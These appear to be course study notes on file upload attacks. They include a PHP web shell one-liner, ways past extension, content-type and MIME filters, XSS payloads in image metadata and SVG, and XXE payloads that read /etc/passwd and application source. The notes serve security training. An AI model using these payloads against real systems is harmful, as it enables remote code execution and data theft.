19 - File Uploads

Basics

Basic PHP shell:
php
<?php system($_REQUEST['cmd']) ?>
Path containing shells: /usr/share/seclists/Web-Shells

Filter Bypass

Client-Side (Front-End)

The form uses attributes such as accept=".jpg,.jpeg,.png" and a JavaScript function (checkFile()) to ensure that only images are selected. If we remove checkFile and accept, or modify the JS, we bypass it. Sometimes the Content-Type also needs to be modified.

Blacklist Filters

Sometimes extensions such as .php, php7, phps are filtered; this is weak because it does not consider other extensions that execute PHP and may be case-sensitive. Extension fuzzing with FFUF/Burp: .phar may work; upload a hello world and filter by the extension that returns it in the body. List: PayloadsAllTheThings / Extension PHP / extensions.lst.

Whitelist Filters

The server only allows specific extensions. Bypass with shell.jpg.php; sometimes Apache is misconfigured and shell.php.jpg works because it contains .php. Another technique is inserting characters:
txt
%20 %0a %00 %0d0a / .\ . … :
For example, shell.php%00.jpg.

Type Filters

  • Content-Type Header: the server compares it with image/jpg, image/jpeg, image/png, image/gif.
  • MIME-Type: a file whose contents start with GIF8 is identified as a GIF image.

Other Upload Types

XSS via Uploaded Files

terminal
exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg
xml
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <script type="text/javascript">alert(window.origin);</script>
</svg>

XXE via Uploaded Files

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
xml
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>
ALWAYS CHECK THE SOURCE CODE